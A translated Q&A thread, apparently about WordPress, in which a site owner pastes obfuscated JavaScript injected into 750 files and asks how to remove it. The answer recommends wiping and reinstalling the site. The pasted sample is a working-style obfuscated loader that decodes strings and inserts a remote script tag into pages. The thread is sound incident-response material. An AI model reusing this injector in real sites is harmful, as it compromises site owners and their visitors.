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清除受感染站点文件中的恶意代码

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清除受感染站点文件中的恶意代码

我收到了 750 个被恶意代码注入的文件，代码如下：

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_0x69b4=[_0x6eea[0],_0x6eea[1],_0x6eea[2],_0x6eea[3],_0x6eea[4],_0x6eea[5],_0x6eea[6],_0x6eea[7],_0x6eea[8],_0x6eea[9],_0x6eea[10],_0x6eea[11],_0x6eea[12],_0x6eea[13],_0x6eea[14],_0x6eea[15],_0x6eea[16],_0x6eea[17],_0x6eea[18],_0x6eea[19],_0x6eea[20],_0x6eea[21],_0x6eea[22],_0x6eea[23],_0x6eea[24],_0x6eea[25],_0x6eea[26],_0x6eea[27],_0x6eea[28],_0x6eea[29],_0x6eea[30],_0x6eea[31],_0x6eea[32],_0x6eea[33],_0x6eea[34],_0x6eea[35],_0x6eea[36],_0x6eea[37],_0x6eea[38],_0x6eea[39],_0x6eea[40],_0x6eea[41],_0x6eea[42],_0x6eea[43],_0x6eea[44],_0x6eea[45],_0x6eea[46],_0x6eea[47],_0x6eea[48]];var _0x53ac=[_0x69b4[0],_0x69b4[1],_0x69b4[2],_0x69b4[3],_0x69b4[4],_0x69b4[5],_0x69b4[6],_0x69b4[7]];(function(_0x130bx3,_0x130bx4){var _0x130bx5=function(_0x130bx6){while(--_0x130bx6){_0x130bx3[_0x69b4[9]](_0x130bx3[_0x69b4[8]]())}};_0x130bx5(++_0x130bx4)}(_0x53ac,0x6b));var _0x4824=function(_0x130bx8,_0x130bx9){_0x130bx8= _0x130bx8- 0x0;var _0x130bxa=_0x53ac[_0x130bx8];if(_0x4824[_0x69b4[10]]=== undefined){(function(){var _0x130bxb=function(){var _0x130bxc;try{_0x130bxc= Function(_0x69b4[11]+ _0x69b4[12]+ _0x69b4[13])()}catch(_0x21cc70){_0x130bxc= window};return _0x130bxc};var _0x130bxd=_0x130bxb();var _0x130bxe=_0x69b4[14];_0x130bxd[_0x69b4[15]]|| (_0x130bxd[_0x69b4[15]]= function(_0x130bxf){var _0x130bx10=String(_0x130bxf)[_0x69b4[17]](/=+$/,_0x69b4[16]);for(var _0x130bx11=0x0,_0x130bx12,_0x130bx13,_0x130bx14=0x0,_0x130bx15=_0x69b4[16];_0x130bx13= _0x130bx10[_0x69b4[18]](_0x130bx14++);~_0x130bx13&& (_0x130bx12= _0x130bx11% 0x4?_0x130bx12* 0x40+ _0x130bx13:_0x130bx13,_0x130bx11++ % 0x4)?_0x130bx15+= String[_0x69b4[19]](0xff& _0x130bx12>> (-0x2* _0x130bx11 & 0x6)):0x0){_0x130bx13= _0x130bxe[_0x69b4[20]](_0x130bx13)};return _0x130bx15})}());var _0x130bx16=function(_0x130bx17,_0x130bx9){var _0x130bx18=[],_0x130bx19=0x0,_0x130bx1a,_0x130bx1b=_0x69b4[16],_0x130bx1c=_0x69b4[16];_0x130bx17= atob(_0x130bx17);for(var _0x130bx1d=0x0,_0x130bx1e=_0x130bx17[_0x69b4[21]];_0x130bx1d< _0x130bx1e;_0x130bx1d++){_0x130bx1c+= _0x69b4[22]+ (_0x69b4[24]+ _0x130bx17[_0x69b4[26]](_0x130bx1d)[_0x69b4[25]](0x10))[_0x69b4[23]](-0x2)};_0x130bx17= decodeURIComponent(_0x130bx1c);for(var _0x130bx1f=0x0;_0x130bx1f< 0x100;_0x130bx1f++){_0x130bx18[_0x130bx1f]= _0x130bx1f};for(_0x130bx1f= 0x0;_0x130bx1f< 0x100;_0x130bx1f++){_0x130bx19= (_0x130bx19+ _0x130bx18[_0x130bx1f]+ _0x130bx9[_0x69b4[26]](_0x130bx1f% _0x130bx9[_0x69b4[21]]))% 0x100;_0x130bx1a= _0x130bx18[_0x130bx1f];_0x130bx18[_0x130bx1f]= _0x130bx18[_0x130bx19];_0x130bx18[_0x130bx19]= _0x130bx1a};_0x130bx1f= 0x0;_0x130bx19= 0x0;for(var _0x130bx20=0x0;_0x130bx20< _0x130bx17[_0x69b4[21]];_0x130bx20++){_0x130bx1f= (_0x130bx1f+ 0x1)% 0x100;_0x130bx19= (_0x130bx19+ _0x130bx18[_0x130bx1f])% 0x100;_0x130bx1a= _0x130bx18[_0x130bx1f];_0x130bx18[_0x130bx1f]= _0x130bx18[_0x130bx19];_0x130bx18[_0x130bx19]= _0x130bx1a;_0x130bx1b+= String[_0x69b4[19]](_0x130bx17[_0x69b4[26]](_0x130bx20)^ _0x130bx18[(_0x130bx18[_0x130bx1f]+ _0x130bx18[_0x130bx19])% 0x100])};return _0x130bx1b};_0x4824[_0x69b4[27]]= _0x130bx16;_0x4824[_0x69b4[28]]= {};_0x4824[_0x69b4[10]]=  !![]};var _0x130bx21=_0x4824[_0x69b4[28]][_0x130bx8];if(_0x130bx21=== undefined){if(_0x4824[_0x69b4[29]]=== undefined){_0x4824[_0x69b4[29]]=  !![]};_0x130bxa= _0x4824[_0x69b4[27]](_0x130bxa,_0x130bx9);_0x4824[_0x69b4[28]][_0x130bx8]= _0x130bxa}else {_0x130bxa= _0x130bx21};return _0x130bxa};var _0x4739d5=[_0x4824(_0x69b4[30],_0x69b4[31]),_0x4824(_0x69b4[32],_0x69b4[33]),_0x69b4[34],_0x69b4[35],_0x69b4[36],_0x69b4[37],_0x4824(_0x69b4[38],_0x69b4[39]),_0x4824(_0x69b4[40],_0x69b4[41]),_0x4824(_0x69b4[42],_0x69b4[43]),_0x4824(_0x69b4[44],_0x69b4[43]),_0x4824(_0x69b4[45],_0x69b4[46]),_0x4824(_0x69b4[47],_0x69b4[48])];var _0x3be76d=[_0x4739d5[0x0],_0x4739d5[0x1],_0x4739d5[0x2],_0x4739d5[0x3],_0x4739d5[0x4],_0x4739d5[0x5],_0x4739d5[0x6],_0x4739d5[0x7],_0x4739d5[0x8],_0x4739d5[0x9],_0x4739d5[0xa],_0x4739d5[0xb]];var _0x4f3f17=[_0x3be76d[0x0],_0x3be76d[0x1],_0x3be76d[0x2],_0x3be76d[0x3],_0x3be76d[0x4],_0x3be76d[0x5],_0x3be76d[0x6],_0x3be76d[0x7],_0x3be76d[0x8],_0x3be76d[0x9],_0x3be76d[0xa],_0x3be76d[0xb]];var _0x4d0c89=[_0x4f3f17[0x0],_0x4f3f17[0x1],_0x4f3f17[0x2],_0x4f3f17[0x3],_0x4f3f17[0x4],_0x4f3f17[0x5],_0x4f3f17[0x6],_0x4f3f17[0x7],_0x4f3f17[0x8],_0x4f3f17[0x9],_0x4f3f17[0xa],_0x4f3f17[0xb]];var _0x572eac=[_0x4d0c89[0x0],_0x4d0c89[0x1],_0x4d0c89[0x2],_0x4d0c89[0x3],_0x4d0c89[0x4],_0x4d0c89[0x5],_0x4d0c89[0x6],_0x4d0c89[0x7],_0x4d0c89[0x8],_0x4d0c89[0x9],_0x4d0c89[0xa],_0x4d0c89[0xb]];var _0x2b0b54=[_0x572eac[0x0],_0x572eac[0x1],_0x572eac[0x2],_0x572eac[0x3],_0x572eac[0x4],_0x572eac[0x5],_0x572eac[0x6],_0x572eac[0x7],_0x572eac[0x8],_0x572eac[0x9],_0x572eac[0xa],_0x572eac[0xb]];(function(){var _0x130bx28=document[_0x2b0b54[0x1]](_0x2b0b54[0x0]);_0x130bx28[_0x2b0b54[0x2]]= _0x2b0b54[0x3];_0x130bx28[_0x2b0b54[0x4]]=  !![];_0x130bx28[_0x2b0b54[0x5]]= _0x2b0b54[0x6];_0x130bx28[_0x2b0b54[0x7]]= _0x2b0b54[0x8];var _0x130bx29=document[_0x2b0b54[0x9]](_0x2b0b54[0x0])[0x0];_0x130bx29[_0x2b0b54[0xb]][_0x2b0b54[0xa]](_0x130bx28,_0x130bx29)}());/**

我需要创建 bash 脚本或使用 sed 来仅删除此恶意文件，而不影响其他 php 代码。

答案1

唯一的解决办法是：

  1. 启用维护模式
  2. 保存所有上传（png/jpg..）
  3. 清理当前的 wp 目录
  4. 重新安装当前版本
  5. 升级到最新版本
  6. 禁用维护模式

我曾经遇到过一次，试图删除所有受感染的文件，但攻击者通过常规命令的其他几个文件回来了。节省您的时间，不要尝试查找受感染的文件，清理该东西！

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